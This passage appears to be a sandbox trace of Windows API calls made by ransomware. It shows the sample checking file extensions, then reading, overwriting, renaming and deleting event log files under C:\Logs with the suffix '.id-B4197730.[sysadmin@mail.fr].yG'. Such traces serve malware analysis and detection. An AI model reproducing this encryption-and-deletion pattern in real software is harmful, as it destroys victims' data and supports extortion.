	[0047.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.951] lstrlenW (lpString=".1cd") returned 4
	[0047.951] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.951] lstrlenW (lpString=".jpg") returned 4
	[0047.951] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.951] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.952] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.952] lstrlenW (lpString=".doc") returned 4
	[0047.952] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString=".docx") returned 5
	[0047.952] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.952] lstrlenW (lpString=".pdf") returned 4
	[0047.952] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString=".xls") returned 4
	[0047.952] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString=".xlsx") returned 5
	[0047.952] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.952] lstrlenW (lpString=".ppt") returned 4
	[0047.952] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.952] lstrlenW (lpString=".zip") returned 4
	[0047.952] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString=".rar") returned 4
	[0047.952] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString=".bz2") returned 4
	[0047.952] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString=".7z") returned 3
	[0047.952] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.952] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.952] lstrlenW (lpString=".dbf") returned 4
	[0047.952] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.952] lstrlenW (lpString=".1cd") returned 4
	[0047.952] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.952] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0047.952] lstrlenW (lpString=".jpg") returned 4
	[0047.952] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.952] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.952] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56
	[0047.953] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.953] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=2166784) returned 1
	[0047.953] CloseHandle (hObject=0x2f8) returned 1
	[0047.953] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20
	[0047.953] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.953] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0047.953] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0047.953] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0x0) returned 1
	[0047.954] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0047.954] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x4064058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0048.262] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0048.262] ReadFile (in: hFile=0x2f8, lpBuffer=0x40a4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x40a4058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0048.321] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0048.321] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x33afc24 | out: lpNewFilePointer=0x0) returned 1
	[0048.321] ReadFile (in: hFile=0x2f8, lpBuffer=0x40e4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc30, lpOverlapped=0x0 | out: lpBuffer=0x40e4058*, lpNumberOfBytesRead=0x33afc30*=0x40000, lpOverlapped=0x0) returned 1
	[0048.343] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.343] WriteFile (in: hFile=0x2f8, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x33afca8, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afca8*=0xc015c, lpOverlapped=0x0) returned 1
	[0048.354] SetEndOfFile (hFile=0x2f8) returned 1
	[0048.354] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4402cc0
	[0048.669] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0048.669] WriteFile (in: hFile=0x2f8, lpBuffer=0x4402cc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4402cc0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0048.747] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0048.747] WriteFile (in: hFile=0x2f8, lpBuffer=0x4402cc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4402cc0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0048.749] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x33afc74 | out: lpNewFilePointer=0x0) returned 1
	[0048.749] WriteFile (in: hFile=0x2f8, lpBuffer=0x4402cc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc80, lpOverlapped=0x0 | out: lpBuffer=0x4402cc0*, lpNumberOfBytesWritten=0x33afc80*=0x40000, lpOverlapped=0x0) returned 1
	[0048.750] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4402cc0 | out: hHeap=0x650000) returned 1
	[0048.752] CloseHandle (hObject=0x2f8) returned 1
	[0049.026] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.296] lstrlenW (lpString=".doc") returned 4
	[0049.296] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.296] lstrlenW (lpString=".docx") returned 5
	[0049.296] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.296] lstrlenW (lpString=".pdf") returned 4
	[0049.296] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.296] lstrlenW (lpString=".xls") returned 4
	[0049.296] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.296] lstrlenW (lpString=".xlsx") returned 5
	[0049.296] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.296] lstrlenW (lpString=".ppt") returned 4
	[0049.296] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.296] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.296] lstrlenW (lpString=".zip") returned 4
	[0049.296] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.296] lstrlenW (lpString=".rar") returned 4
	[0049.296] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.296] lstrlenW (lpString=".bz2") returned 4
	[0049.296] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString=".7z") returned 3
	[0049.297] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.297] lstrlenW (lpString=".dbf") returned 4
	[0049.297] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.297] lstrlenW (lpString=".1cd") returned 4
	[0049.297] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.297] lstrlenW (lpString=".jpg") returned 4
	[0049.297] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.297] lstrlenW (lpString=".doc") returned 4
	[0049.297] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString=".docx") returned 5
	[0049.297] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.297] lstrlenW (lpString=".pdf") returned 4
	[0049.297] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString=".xls") returned 4
	[0049.297] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString=".xlsx") returned 5
	[0049.297] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.297] lstrlenW (lpString=".ppt") returned 4
	[0049.297] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.297] lstrlenW (lpString=".zip") returned 4
	[0049.297] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString=".rar") returned 4
	[0049.297] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString=".bz2") returned 4
	[0049.297] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.297] lstrlenW (lpString=".7z") returned 3
	[0049.297] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.297] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.297] lstrlenW (lpString=".dbf") returned 4
	[0049.297] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.298] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.298] lstrlenW (lpString=".1cd") returned 4
	[0049.298] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.298] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0049.298] lstrlenW (lpString=".jpg") returned 4
	[0049.298] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.298] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.298] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54
	[0049.298] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0049.298] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0049.298] CloseHandle (hObject=0x394) returned 1
	[0049.298] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20
	[0049.298] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.298] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0049.298] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.298] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.299] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0049.299] GetLastError () returned 0x0
	[0049.299] ReadFile (in: hFile=0x394, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.359] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.360] ReadFile (in: hFile=0x394, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.360] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x140, lpOverlapped=0x0) returned 1
	[0049.360] SetEndOfFile (hFile=0x2e0) returned 1
	[0049.361] CloseHandle (hObject=0x2e0) returned 1
	[0049.362] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.362] SetEndOfFile (hFile=0x394) returned 1
	[0049.363] CloseHandle (hObject=0x394) returned 1
	[0049.363] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.364] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1
	[0049.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.364] lstrlenW (lpString=".doc") returned 4
	[0049.364] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.364] lstrlenW (lpString=".docx") returned 5
	[0049.364] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.364] lstrlenW (lpString=".pdf") returned 4
	[0049.364] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.364] lstrlenW (lpString=".xls") returned 4
	[0049.364] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.364] lstrlenW (lpString=".xlsx") returned 5
	[0049.364] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.365] lstrlenW (lpString=".ppt") returned 4
	[0049.365] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.365] lstrlenW (lpString=".zip") returned 4
	[0049.365] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString=".rar") returned 4
	[0049.365] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString=".bz2") returned 4
	[0049.365] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString=".7z") returned 3
	[0049.365] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.365] lstrlenW (lpString=".dbf") returned 4
	[0049.365] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.365] lstrlenW (lpString=".1cd") returned 4
	[0049.365] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.365] lstrlenW (lpString=".jpg") returned 4
	[0049.365] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.365] lstrlenW (lpString=".doc") returned 4
	[0049.365] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString=".docx") returned 5
	[0049.365] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.365] lstrlenW (lpString=".pdf") returned 4
	[0049.365] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString=".xls") returned 4
	[0049.365] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.365] lstrlenW (lpString=".xlsx") returned 5
	[0049.365] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.365] lstrlenW (lpString=".ppt") returned 4
	[0049.366] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.366] lstrlenW (lpString=".zip") returned 4
	[0049.366] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.366] lstrlenW (lpString=".rar") returned 4
	[0049.366] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.366] lstrlenW (lpString=".bz2") returned 4
	[0049.366] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.366] lstrlenW (lpString=".7z") returned 3
	[0049.366] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.366] lstrlenW (lpString=".dbf") returned 4
	[0049.366] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.366] lstrlenW (lpString=".1cd") returned 4
	[0049.366] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0049.366] lstrlenW (lpString=".jpg") returned 4
	[0049.366] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.366] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.366] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41
	[0049.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0049.366] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0049.367] CloseHandle (hObject=0x394) returned 1
	[0049.367] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20
	[0049.367] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.367] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0049.367] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.367] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.367] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0049.367] GetLastError () returned 0x0
	[0049.367] ReadFile (in: hFile=0x394, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.416] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.418] ReadFile (in: hFile=0x394, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.418] WriteFile (in: hFile=0x2e0, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x126, lpOverlapped=0x0) returned 1
	[0049.418] SetEndOfFile (hFile=0x2e0) returned 1
	[0049.419] CloseHandle (hObject=0x2e0) returned 1
	[0049.420] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.420] SetEndOfFile (hFile=0x394) returned 1
	[0049.421] CloseHandle (hObject=0x394) returned 1
	[0049.421] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.422] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1
	[0049.422] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.422] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.422] lstrlenW (lpString=".doc") returned 4
	[0049.422] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.422] lstrlenW (lpString=".docx") returned 5
	[0049.422] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.422] lstrlenW (lpString=".pdf") returned 4
	[0049.422] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.422] lstrlenW (lpString=".xls") returned 4
	[0049.422] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.422] lstrlenW (lpString=".xlsx") returned 5
	[0049.422] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.422] lstrlenW (lpString=".ppt") returned 4
	[0049.422] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.422] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0049.422] lstrlenW (lpString=".zip") returned 4
